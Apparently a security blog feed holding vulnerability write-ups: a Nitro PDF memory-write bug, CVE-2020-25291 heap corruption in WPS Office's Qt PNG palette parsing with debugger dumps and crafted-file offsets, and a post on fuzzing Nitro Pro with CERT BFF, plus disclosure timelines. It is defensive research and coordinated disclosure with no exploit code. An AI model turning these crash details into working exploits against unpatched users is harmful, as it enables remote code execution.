.text:000000018016317E mov rax, 7FFFFFFFFFFFFFFFh
.text:0000000180163188 cmp rdx, rax
.text:000000018016318B ja short loc_1801631D7
.text:000000018016318D call sub_1800BD550
.text:0000000180163192 mov [rdi], rax
.text:0000000180163195 mov [rdi+8], rax
.text:0000000180163199 mov rax, [rdi]
.text:000000018016319C lea rcx, [rsi+rax] // here we can perform some write
.text:00000001801631A0 mov [rdi+10h], rcx
.text:00000001801631A4 mov rbx, rax
.text:00000001801631A7 movzx edx, byte ptr [r14] ; Val
.text:00000001801631AB mov r8, rsi ; Size
.text:00000001801631AE mov rcx, rax ; Dst // RCX is controllable register here, we can set a 1 byte write
.text:00000001801631B1 call memset // using memset to control our write to memory
</code></pre></div></div>
<p>At this point we are able to control and pass thru the checks, meaning here the checks that were done initially didn’t clear out memory that allocated thus allowing us to perform write.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000180458650 mov ecx, [rsp+88h+arg_18]
.text:0000000180458657 add ecx, r11d
.text:000000018045865A imul ecx, [rbx+8]
.text:000000018045865E mov [rsp+88h+arg_0], rcx
.text:0000000180458666 mov rax, [rsi]
.text:0000000180458669 mov ebp, [rax+8]
.text:000000018045866C imul ebp, r11d
.text:0000000180458670 mov r8d, edi
.text:0000000180458673 test r12d, r12d
.text:0000000180458676 jz short loc_1804586E8
</code></pre></div></div>
<p>Then we reach to the crash path where 00000001804586FD trying to set the value that we set in memory (1-byte write) to an invalid pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001804586E8 mov rax, [rsi]
.text:00000001804586EB mov rcx, [rax+10h]
.text:00000001804586EF mov rax, [rcx]
.text:00000001804586F2 add rax, r12
.text:00000001804586F5 movzx ecx, [rsp+88h+arg_10]
.text:00000001804586FD and [rax+rbp-1], cl // crash here when write 1-byte to the [rax+rbp-1] pointer which is an invalid pointer
</code></pre></div></div>
<h2 id="disclosure-timeline">Disclosure timeline</h2>
<p>The vulnerability was reported back June 2020. Timeline of disclosure:</p>
<ul>
<li>2020-06-11 - Vulnerability reported to Nitro Security team via email.</li>
<li>2020-06-18 - Vendor acknowledge however didn’t manage to receive the proof-of-concept due to flagged as malicious in their mail gateway.</li>
<li>2020-06-23 - Using alternative way to provide PoC to vendor along with full vulnerability report.</li>
<li>2020-07-10 - Follow up with vendor on the progress.</li>
<li>2020-07-10 - Vendor replied they aim to resolve the issue within 90 days.</li>
<li>2020-07-28 - Requested for CVE to assign to the vulnerability as per vendor request.</li>
<li>2020-09-14 - CVE assigned and provide the CVE ID to vendor.</li>
<li>2020-09-15 - Vendor acknowledge and will add into their advisory page.</li>
<li>2020-09-18 - Get confirmation from the vendor if the latest release version fix the vulnerability reported.</li>
<li>2020-09-18 - Vendor confirmed issue has been fixed in latest version release, 13.24.1.467. Advisory page, <a href="https://www.gonitro.com/nps/security/updates#security-update-12"><strong>https://www.gonitro.com/nps/security/updates#security-update-12</strong></a></li>
<li>2020-09-18 - Publicly disclosed :)</li>
</ul>Overview Nitro Software, Inc. develops commercial software used to create, edit, sign, and secure Portable Document Format files and digital documents. The company has over 650,000 business customers worldwide, and claims millions of users across the globe.CVE-2020-25291 - Kingsoft WPS Office Remote Heap Corruption Vulnerability2020-09-03T13:45:00+00:002020-09-03T13:45:00+00:00https://zeifan.my/wps-rce-heap<h2 id="overview">Overview</h2>
<p>WPS Office is an office suite for Microsoft Windows, macOS, Linux, iOS and Android, developed by Zhuhai-based Chinese software developer Kingsoft. WPS Office is made up of three primary components: WPS Writer, WPS Presentation, and WPS Spreadsheet. The personal basic version is free to use. A remote code execution vulnerability exists in WPS Office software that is caused when the Office software improperly handles objects in memory while parsing specially crafted Office files. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. Failure could lead to denial-of-service. Vulnerable product WPS Office affecting version 11.2.0.9453.</p>
<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>
<p>Heap corruption found in Qt module used in WPS Office for image format parsing. A specially crafted image file embedded in WPS office could trigger the vulnerability. When open the specially crafted document file, an access violation triggered. EDX pointer to array and EAX is an index to array.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
(c50.b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000c0 ebx=006f1c48 ecx=cd2aefbc edx=cd2c6f80 esi=2ed7ae18 edi=0000001c
eip=6ba13321 esp=006f1b44 ebp=006f1b44 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
QtCore4!QMatrix::dy+0x48a8:
6ba13321 8b448210 mov eax,dword ptr [edx+eax*4+10h] ds:002b:cd2c7290=????????
</code></pre></div></div>
<p>How does the crash trigger? Let’s take a look into PNG header format.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00029E30 FF 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 ÿ‰PNG........IHD
00029E40 52 00 00 02 80 00 00 01 C6 04 03 00 00 00 16 0A R...€...Æ.......
00029E50 27 FC 00 00 00 04 67 41 4D 41 00 00 B1 88 95 98 'ü....gAMA..±ˆ•˜
00029E60 F4 A6 00 00 00 30 50 4C 54 45 00 00 00 80 00 00 ô¦...0PLTE...€..
00029E70 00 80 00 80 80 00 00 00 80 80 00 80 00 80 80 80 .€.€€...€€.€.€€€
00029E80 80 80 C0 C0 C0 FF 00 00 00 FF 00 FF FF 00 00 00 €€ÀÀÀÿ...ÿ.ÿÿ...
00029E90 FF FF 00 FF 00 FF FF FF FF FF 7B 1F B1 C4 00 00 ÿÿ.ÿ.ÿÿÿÿÿ{.±Ä..
</code></pre></div></div>
<p>Starting at the offset 0x29E31 - 0x29E34 is a signature header for PNG file format. The structure of PNG header file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PNG signature --> IHDR --> gAMA --> PLTE --> pHYs --> IDAT --> IEND
</code></pre></div></div>
<p>In this context, the vulnerability lies on an embedded PNG file in a word document when QtCore library used in WPS Office Suite are parsing a PLTE structure and trigger a heap corruption. At the offset 0x29E82 until 0x29E85 is where the parsing of the palette failed and thus triggers a memory corruption in the heap. Stack trace before crash trigger:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00 00ee1790 6b8143ef QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a71
01 00ee17f0 6b814259 QtCore4!QBrush::setMatrix+0x234
02 00ee58d4 6b8249a4 QtCore4!QBrush::setMatrix+0x9e
03 00ee58ec 6b80cc84 QtCore4!QImage::rect+0x22b
04 00ee5908 6b857ccc QtCore4!QTransform::inverted+0xec8
05 00ee629c 6b81c55b QtCore4!QSvgFillStyle::setFillOpacity+0x1b59
06 00ee6480 6b896844 QtCore4!QPainter::drawPixmap+0x1c98
07 00ee6574 6d1e0fbd QtCore4!QPainter::drawImage+0x325
08 00ee6594 6d0dd155 kso!GdiDrawHoriLineIAlt+0x11a1a
</code></pre></div></div>
<p>Before QtCore4 takes place to parse embedded image, we could see the last call from KSO module trying to process an image kso!GdiDrawHoriLineIAlt. Analyzing the function where the exception occurs using IDA Pro to disassemble the application. The last crash path as in following (WinDBG result):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>QtCore4!QMatrix::dy+0x48a8:
6ba13321 8b448210 mov eax,dword ptr [edx+eax*4+10h] ds:002b:cd2c7290=????????
</code></pre></div></div>
<p>When open in IDA Pro, we could disassemble the function as in following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:67353315 push ebp
.text:67353316 mov ebp, esp
.text:67353318 movzx eax, byte ptr [ecx+edx] ; crash here
.text:6735331C mov ecx, [ebp+arg_0]
.text:6735331F mov edx, [ecx]
.text:67353321 mov eax, [edx+eax*4+10h]
.text:67353325 mov ecx, eax
</code></pre></div></div>
<p>Using the information from our crash dump we know that the application triggers an access violation at 0x67353321 (mov eax, [edx+eax*4+10h]). We can see EAX register are controlled with 0xc0 value. So, from here we can make a few assumptions on the state of the registers at instructions leading up to our exception. What’s important to note, is that prior to our exception, we can see that the value contained in ECX (0xc0) is being written to an arbitrary location as defined by the following instruction:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov ecx, [ebp+arg_0]
</code></pre></div></div>
<p>Furthermore, we note that beyond our faulting instruction the offset of EBP stored at an ECX register. We set a breakpoint at the instruction (with offset 0x6ba1331c) mentioned earlier to observe the memory. Once our breakpoint trigger, we can see the first value c45adfbc is referencing to another pointer, which supposed to be pointer to an array.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Breakpoint 0 hit
eax=0000000f ebx=004f1b40 ecx=d3544100 edx=0000001c esi=d1200e18 edi=0000001c
eip=6ba1331c esp=004f1a34 ebp=004f1a34 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!QMatrix::dy+0x48a3:
6ba1331c 8b4d08 mov ecx,dword ptr [ebp+8] ss:002b:004f1a3c=c45adfbc
0:000> dc ebp+8
004f1a3c c45adfbc 00000048 00000000 6f13830f ..Z.H..........o
004f1a4c 004f5cc8 00000000 00000000 00000000 .\O.............
004f1a5c 00000000 004f65a0 004f662c 00000000 .....eO.,fO.....
004f1a6c 779eae8e 00000000 00000001 3f800000 ...w...........?
004f1a7c 3f800000 3f31e4f8 3f800000 3f800000 ...?..1?...?...?
004f1a8c 3f800000 3f31e4f8 3f800000 3de38800 ...?..1?...?...=
004f1a9c 3de38800 3d9e1c8a 3c834080 004f3c00 ...=...=.@.<.<O.
004f1aac 4101c71c 6ba13315 3f800000 4081c71c ...A.3.k...?...@
</code></pre></div></div>
<p>Observing the memory reference from c45adfbc found another pointer. The first value ab69cf80 is always represented as pointer to anywhere it references to. The pointer ab69cf80 is basically index array of our pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dc c45adfbc
c45adfbc ab69cf80 d3544100 00000003 00000280 ..i..AT.........
c45adfcc 0000055a 00000012 c0c0c0c0 1c3870e2 Z............p8.
c45adfdc 40ad870e 1c3870e2 40ad870e 00000000 ...@.p8....@....
c45adfec 00000000 c0c0c0c1 6c1d12c0 00000000 ...........l....
c45adffc c0c0c0c0 ???????? ???????? ???????? ....????????????
c45ae00c ???????? ???????? ???????? ???????? ????????????????
c45ae01c ???????? ???????? ???????? ???????? ????????????????
c45ae02c ???????? ???????? ???????? ???????? ????????????????
0:000> dc ab69cf80
ab69cf80 00000001 0000001c 00000010 00000001 ................ // 0000001c is overwritten in the register EDX and EDI before we trigger crash
ab69cf90 ff000000 ff800000 ff008000 ff808000 ................
ab69cfa0 ff000080 ff800080 ff008080 ff808080 ................
ab69cfb0 ffc0c0c0 ffff0000 ff00ff00 ffffff00 ................ // ffc0c0c0 where it will be stored in EAX after crash, at the moment it only takes 0xf value in EAX
ab69cfc0 ff0000ff ffff00ff ff00ffff ffffffff ................
ab69cfd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
ab69cfe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
ab69cff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
</code></pre></div></div>
<p>Since we know the path that it will land the crash, we could simply set a breakpoint with the following command below. The command will get the pointer value of “edx+eax*4+10” and check if it meets 0xc0.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bp 6ba13321 ".if (poi(edx+eax*4+10) == 0xc0) {} .else {gc}"
0:000> g
eax=000000c0 ebx=004f1b40 ecx=c45adfbc edx=ab69cf80 esi=d1200e18 edi=0000001c
eip=6ba13321 esp=004f1a34 ebp=004f1a34 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!QMatrix::dy+0x48a8:
6ba13321 8b448210 mov eax,dword ptr [edx+eax*4+10h] ds:002b:ab69d290=????????
</code></pre></div></div>
<p>If we observe the stack, we can see the following execution:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>004f1a38 6ba3cb98 QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a74
004f1a3c c45adfbc
004f1a40 00000048
004f1a44 00000000
004f1a48 6f13830f verifier!DphCommitMemoryForPageHeap+0x16f
004f1a4c 004f5cc8
004f1a50 00000000
004f1a54 00000000
004f1a58 00000000
004f1a5c 00000000
004f1a60 004f65a0
004f1a64 004f662c
004f1a68 00000000
004f1a6c 779eae8e ntdll!RtlAllocateHeap+0x3e
</code></pre></div></div>
<p>If we disassemble 6ba3cb98, we can see the following disassembly code. The actual root cause is on this code.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>6ba3cb89 8b96b4000000 mov edx,dword ptr [esi+0B4h]
6ba3cb8f 8b4df4 mov ecx,dword ptr [ebp-0Ch]
6ba3cb92 52 push edx
6ba3cb93 8bd7 mov edx,edi
6ba3cb95 ff5580 call dword ptr [ebp-80h]
6ba3cb98 8b4e7c mov ecx,dword ptr [esi+7Ch]
C pseudo code
grad = *(&ptr_grad);
if ( grad > 0.0099999998 )
{
input_value = grad_size(check, size, input);
ptr_grad = *(input);
... cut here ...
</code></pre></div></div>
<p>We set the breakpoint on the 6ba3cb89 address and observing the ESI+0xB4 and we can see a pointer that referencing to another place:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> r
eax=00000000 ebx=00791878 ecx=00000005 edx=00793938 esi=cb07de18 edi=0000001c
eip=6ba3cb89 esp=00791780 ebp=00791870 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a65:
6ba3cb89 8b96b4000000 mov edx,dword ptr [esi+0B4h] ds:002b:cb07decc=cf69afbc
0:000> dc esi+0B4h
cb07decc cf69afbc c0c0c000 00000000 00000100 ..i.............
cb07dedc c0c0c0c0 00000000 00000000 00000000 ................
cb07deec 00000000 00000000 00000000 00000000 ................
cb07defc 00000000 cf030fd0 00000000 00000000 ................
cb07df0c 00000000 00000000 00000000 00000000 ................
cb07df1c c0c0c0c0 00000000 3ff00000 00000000 ...........?....
cb07df2c 00000000 00000000 00000000 00000000 ................
cb07df3c 00000000 00000000 3ff00000 00000000 ...........?....
0:000> dc cf69afbc
cf69afbc c88baf80 d1326100 00000003 00000280 .....a2.........
cf69afcc 0000055f 00000012 c0c0c0c0 1c3870e2 _............p8.
cf69afdc 40ad870e 1c3870e2 40ad870e 00000000 ...@.p8....@....
cf69afec 00000000 c0c0c0c1 6c1d12c0 00000000 ...........l....
cf69affc c0c0c0c0 ???????? ???????? ???????? ....????????????
cf69b00c ???????? ???????? ???????? ???????? ????????????????
cf69b01c ???????? ???????? ???????? ???????? ????????????????
cf69b02c ???????? ???????? ???????? ???????? ????????????????
0:000> dc c88baf80
c88baf80 00000001 0000001c 00000010 00000001 ................
c88baf90 ff000000 ff800000 ff008000 ff808000 ................
c88bafa0 ff000080 ff800080 ff008080 ff808080 ................
c88bafb0 ffc0c0c0 ffff0000 ff00ff00 ffffff00 ................
c88bafc0 ff0000ff ffff00ff ff00ffff ffffffff ................
c88bafd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88bafe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88baff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
</code></pre></div></div>
<p>From here we can tell the code didn’t actually free anything from the pointer. Once it moves to EDX, EDX will then hold the pointer to the index array:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eax=00000000 ebx=00791878 ecx=00000005 edx=cf69afbc esi=cb07de18 edi=0000001c
eip=6ba3cb8f esp=00791780 ebp=00791870 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a6b:
6ba3cb8f 8b4df4 mov ecx,dword ptr [ebp-0Ch] ss:002b:00791864=d1326100
0:000> dc cf69afbc
cf69afbc c88baf80 d1326100 00000003 00000280 .....a2.........
cf69afcc 0000055f 00000012 c0c0c0c0 1c3870e2 _............p8.
cf69afdc 40ad870e 1c3870e2 40ad870e 00000000 ...@.p8....@....
cf69afec 00000000 c0c0c0c1 6c1d12c0 00000000 ...........l....
cf69affc c0c0c0c0 ???????? ???????? ???????? ....????????????
cf69b00c ???????? ???????? ???????? ???????? ????????????????
cf69b01c ???????? ???????? ???????? ???????? ????????????????
cf69b02c ???????? ???????? ???????? ???????? ????????????????
0:000> dc c88baf80
c88baf80 00000001 0000001c 00000010 00000001 ................
c88baf90 ff000000 ff800000 ff008000 ff808000 ................
c88bafa0 ff000080 ff800080 ff008080 ff808080 ................
c88bafb0 ffc0c0c0 ffff0000 ff00ff00 ffffff00 ................
c88bafc0 ff0000ff ffff00ff ff00ffff ffffffff ................
c88bafd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88bafe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88baff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
</code></pre></div></div>
<p>Stack trace after crash:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> kvL
# ChildEBP RetAddr Args to Child
00 012f18d4 6ba3cb98 cc53afbc 00000048 00000000 QtCore4!QMatrix::dy+0x48a8
01 012f19d0 6b8143ef 00000000 012f1b78 012f1a5c QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a74
02 012f1a30 6b814259 0000002e 012f5bd0 00000000 QtCore4!QBrush::setMatrix+0x234
03 012f5b14 6b8249a4 0000003b 012f5b68 cc780e18 QtCore4!QBrush::setMatrix+0x9e
04 012f5b2c 6b80cc84 0000003b 012f5b68 cc780e18 QtCore4!QImage::rect+0x22b
05 012f5b48 6b857ccc 0000003b 012f5b68 cc780e18 QtCore4!QTransform::inverted+0xec8
06 012f64dc 6b81c55b 00000000 003c0000 00000000 QtCore4!QSvgFillStyle::setFillOpacity+0x1b59
07 012f66c0 6b896844 012f6724 cc818ff0 0000001c QtCore4!QPainter::drawPixmap+0x1c98
08 012f67b4 6d1e0fbd 012f69ec 012f66d4 012f6864 QtCore4!QPainter::drawImage+0x325
09 012f67d4 6d0dd155 012f6a54 012f69ec 012f6864 kso!GdiDrawHoriLineIAlt+0x11a1a
0a 012f67ec 6d0c8d88 012f69ec 012f68e0 012f6864 kso!kpt::PainterExt::drawBitmap+0x23
</code></pre></div></div>
<p>Heap analysis:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !heap -p -a cc53afbc
address cc53afbc found in
_DPH_HEAP_ROOT @ 6731000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
cc36323c: cc53afa8 58 - cc53a000 2000
6f13ab70 verifier!AVrfDebugPageHeapAllocate+0x00000240
77a9909b ntdll!RtlDebugAllocateHeap+0x00000039
779ebbad ntdll!RtlpAllocateHeap+0x000000ed
779eb0cf ntdll!RtlpAllocateHeapInternal+0x0000022f
779eae8e ntdll!RtlAllocateHeap+0x0000003e
6f080269 MSVCR100!malloc+0x0000004b
6f08233b MSVCR100!operator new+0x0000001f
6b726c67 QtCore4!QImageData::create+0x000000fa
6b726b54 QtCore4!QImage::QImage+0x0000004e
6b7a0e21 QtCore4!png_get_text+0x00000436
6b79d7a8 QtCore4!QImageIOHandler::setFormat+0x000000de
6b79d457 QtCore4!QPixmapData::fromFile+0x000002bf
6b725eb4 QtCore4!QImageReader::read+0x000001e2
6d0ca585 kso!kpt::VariantImage::forceUpdateCacheImage+0x0000254e
6d0c5964 kso!kpt::Direct2DPaintEngineHelper::operator=+0x00000693
6d0c70d0 kso!kpt::RelativeRect::unclipped+0x00001146
6d0c8d0c kso!kpt::VariantImage::forceUpdateCacheImage+0x00000cd5
6d451d5c kso!BlipCacheMgr::BrushCache+0x0000049a
6d451e85 kso!BlipCacheMgr::GenerateBitmap+0x0000001d
6d453227 kso!BlipCacheMgr::GenCachedBitmap+0x00000083
6d29bb92 kso!drawing::PictureRenderLayer::render+0x000009b6
6d450fb1 kso!drawing::RenderTargetImpl::paint+0x00000090
6d29b528 kso!drawing::PictureRenderLayer::render+0x0000034c
6d2a2d83 kso!drawing::VisualRenderer::render+0x00000060
6d2b8970 kso!drawing::SingleVisualRenderer::drawNormal+0x000002b5
6d2b86a7 kso!drawing::SingleVisualRenderer::draw+0x000001e1
6d2b945e kso!drawing::SingleVisualRenderer::draw+0x00000046
6d3d0142 kso!drawing::ShapeVisual::paintEvent+0x0000044a
680a2b5c wpsmain!WpsShapeTreeVisual::getHittestSubVisuals+0x000068f1
6d0e36df kso!AbstractVisual::visualEvent+0x00000051
6d3cbe97 kso!drawing::ShapeVisual::visualEvent+0x0000018f
6d0eba90 kso!VisualPaintEvent::arriveVisual+0x0000004e
0:000> dt _DPH_BLOCK_INFORMATION cc780e18-0x20
verifier!_DPH_BLOCK_INFORMATION
+0x000 StartStamp : 0xc0c0c0c0
+0x004 Heap : 0xc0c0c0c0 Void
+0x008 RequestedSize : 0xc0c0c0c0
+0x00c ActualSize : 0xc0c0c0c0
+0x010 Internal : _DPH_BLOCK_INTERNAL_INFORMATION
+0x018 StackTrace : 0xc0c0c0c0 Void
+0x01c EndStamp : 0xc0c0c0c0
</code></pre></div></div>
<p>The last heap entry in a segment is usually a free block. The status of the heap blocks indicates as free blocks. The heap block states that the size of the previous block is 00108 and the size of the current block is 00a30. The prior block is reporting its own size to be 0x20 bytes, which does not match up. Usage of the heap block at location 05f61000 seems to be the possibility that the usage of that heap block caused the metadata of the following block to become corrupt. Heap block:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !heap -a 05f60000
Index Address Name Debugging options enabled
1: 05f60000
Segment at 05f60000 to 0605f000 (00001000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000200
DeCommit Total Thres: 00002000
Total Free Size: 00000146
Max. Allocation Size: fffdefff
Lock Variable at: 05f60258
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 05f6009c
Uncommitted ranges: 05f6008c
05f61000: 000fe000 (1040384 bytes)
FreeList[ 00 ] at 05f600c0: 05f605b8 . 05f605b8
05f605b0: 00108 . 00a30 [100] - free
Segment00 at 05f60000:
Flags: 00000000
Base: 05f60000
First Entry: 05f604a8
Last Entry: 0605f000
Total Pages: 000000ff
Total UnCommit: 000000fe
Largest UnCommit:00000000
UnCommitted Ranges: (1)
Heap entries for Segment00 in Heap 05f60000
address: psize . size flags state (requested size)
05f60000: 00000 . 004a8 [101] - busy (4a7)
05f604a8: 004a8 . 00108 [101] - busy (107) Internal
05f605b0: 00108 . 00a30 [100]
05f60fe0: 00a30 . 00020 [111] - busy (1d)
05f61000: 000fe000 - uncommitted bytes.
0:000> dd 05f60fe0
05f60fe0 a9b3c836 03007087 05f6008c 05f6008c
05f60ff0 05f60038 05f60038 05f61000 000fe000
05f61000 ???????? ???????? ???????? ????????
05f61010 ???????? ???????? ???????? ????????
05f61020 ???????? ???????? ???????? ????????
05f61030 ???????? ???????? ???????? ????????
05f61040 ???????? ???????? ???????? ????????
05f61050 ???????? ???????? ???????? ????????
</code></pre></div></div>
<h2 id="disclosure-timeline">Disclosure timeline</h2>
<p>The vulnerability was reported in August 2020. Timeline of disclosure:</p>
<ul>
<li>2020-08-04 - Sent email to various mailing list (sales and support) of WPS that publicly available.</li>
<li>2020-08-10 - WPS team responding that the report can be forwarded to them.</li>
<li>2020-08-11 - Asking for further info such as advisory and disclosing to appropriate channel, etc.</li>
<li>2020-08-17 - Follow up with WPS team on previous request.</li>
<li>2020-08-18 - WPS team respond they will take care of it and forward to dev team.</li>
<li>2020-08-18 - Technical report and Proof-of-Concept provided via email (without encryption).</li>
<li>2020-08-25 - Follow up with WPS on progress of the report.</li>
<li>2020-08-26 - WPS updates saying that the issue has been forwarded to dev team.</li>
<li>2020-08-28 - WPS sent an email saying that the issue has been fixed in the latest download version, 11.2.0.9403.</li>
<li>2020-08-28 - Tested the new version against the provided PoC and confirm the issue has been fixed.</li>
<li>2020-08-28 - Asking for advisory or change log of the updates from WPS team.</li>
<li>2020-09-03 - Writeup of the vulnerability. Request CVE.</li>
<li>2020-09-14 - CVE assigned, CVE-2020-25291.</li>
<li>2020-09-15 - WPS Security team approached saying that the advisory of their program is exists and has written the advisory here, https://security.wps.cn/notices/6</li>
</ul>Overview WPS Office is an office suite for Microsoft Windows, macOS, Linux, iOS and Android, developed by Zhuhai-based Chinese software developer Kingsoft. WPS Office is made up of three primary components: WPS Writer, WPS Presentation, and WPS Spreadsheet. The personal basic version is free to use. A remote code execution vulnerability exists in WPS Office software that is caused when the Office software improperly handles objects in memory while parsing specially crafted Office files. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. Failure could lead to denial-of-service. Vulnerable product WPS Office affecting version 11.2.0.9453.Nitro Pro 13 - From Fuzzing to Multiple Heap Corruption (CVE-2020-10222 & CVE-2020-10223)2020-03-05T10:00:03+00:002020-03-05T10:00:03+00:00https://zeifan.my/nitro-pdf-fuzzing<h2 id="introduction">Introduction</h2>
<p>Last December, I decided to continue fuzzing on Nitro PDF software. I wrote a harness for Nitro PDF reader and fuzzing it with WinAFL. While writing and debugging (try and error lol) the issue for my harness, I plan to run another fuzzer which is CERT Basic Fuzzing Framework (BFF) and let it run for few couple of days just to see if there’s any bug or crashes found. CERT BFF is a software-testing tool that performs mutational fuzzing on software that consumes file input. Mutational fuzzing is the act of taking well-formed input data and corrupting it in various ways, looking for cases that cause crashes. The BFF automatically collects test cases that cause software to crash in unique ways, and debugs information associated with the crashes.</p>
<p>TLDR; after few hours running, BFF caught some exceptions and there’s a bunch of issue found.</p>
<h2 id="vulnerability-description">Vulnerability Description</h2>
<p>Nitro Software, Inc. develops commercial software used to create, edit, sign, and secure Portable Document Format files and digital documents. The company has over 650,000 business customers worldwide, and claims millions of users across the globe. However, the code behind the Nitro uses famous library known JBIG2Decode. Affected version are 13.8.2.140. I believe the version below 13.8.2.140 are affected too, but haven’t tested until this time.</p>
<h2 id="fuzzing-with-bff">Fuzzing with BFF</h2>
<p>I setup the environment in VM using Windows 10 x64 with BFF tool along with the Nitro Pro 13 version 13.8.2.140. The BFF tool can be downloaded from <a href="https://resources.sei.cmu.edu/tools/downloads/vulnerability-analysis/bff/assets/BFF28/BFF-2.8-setup.zip">here</a>. Its a installer and just click next and next until it gets installed at <strong>C:\BFF</strong>.</p>
<p>Fuzzing with BFF is not that hard like AFL and WinAFL where you need to write harness, compile with its specific APIs, having limitation with corpus size and many more. BFF uses configuration file in a YAML format and allows user to modify the options and they call it fuzzing campaign settings. The options including:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- "campaign" name (project / target name)
- "target" installation path (executable location to fuzz)
- "directories" for store the seed files (corpus) and results
- "runner" supports the timeout of the application executed, watch CPU process and hide stdout of the application
- "debugger" sets a debugging heap and number of exceptions being handled
- "runoptions" supports iteration, seed interval, minimize crashes, recycle crashses and check for duplicates
- "fuzzer" where it supports multiple type of built-in fuzzer including bytemut, swap, wave, drop, insert, truncate, crmut, crlfmut, nullmut, verify
</code></pre></div></div>
<p>I select <strong>byte mutation (bytemut)</strong> option in the config file and once the BFF run, it will load the module bytemut.py. According to CERT, the module randomly selects bytes in an input file and assign random values. The percent of the selected bytes can be tweaked by min_ratio and max_ratio. It is roughly similar to Charlie Miller’s 5 lines of <a href="http://flatlinesecurity.com/posts/charlie-miller-five-line-fuzzer/">Python</a>.
The CERT team has more explanation <a href="https://vuls.cert.org/confluence/display/tools/CERT+BFF+-+Basic+Fuzzing+Framework">here</a>.</p>
<p>Once all setup properly, just fire up the file called <strong>bff.py</strong> in command prompt and it should initialize the first running as in following screenshot:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/bff_1.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>It then build the seedfile set and run the program.
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/bff_2.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>After few hours of running, there are 111 crashes found. Amongst this hundreds crashes, it was only categorized as <strong>UNKNOWN</strong> and <strong>PROBABLY_NOT_EXPLOITABLE</strong>. There’s no <strong>EXPLOITABLE</strong> was caught during fuzzing.</p>
<p><strong>UNKNOWN Results</strong>
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/crash_file.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p><strong>PROBABLY_NOT_EXPLOITABLE Results</strong>
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/crash_file_2.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
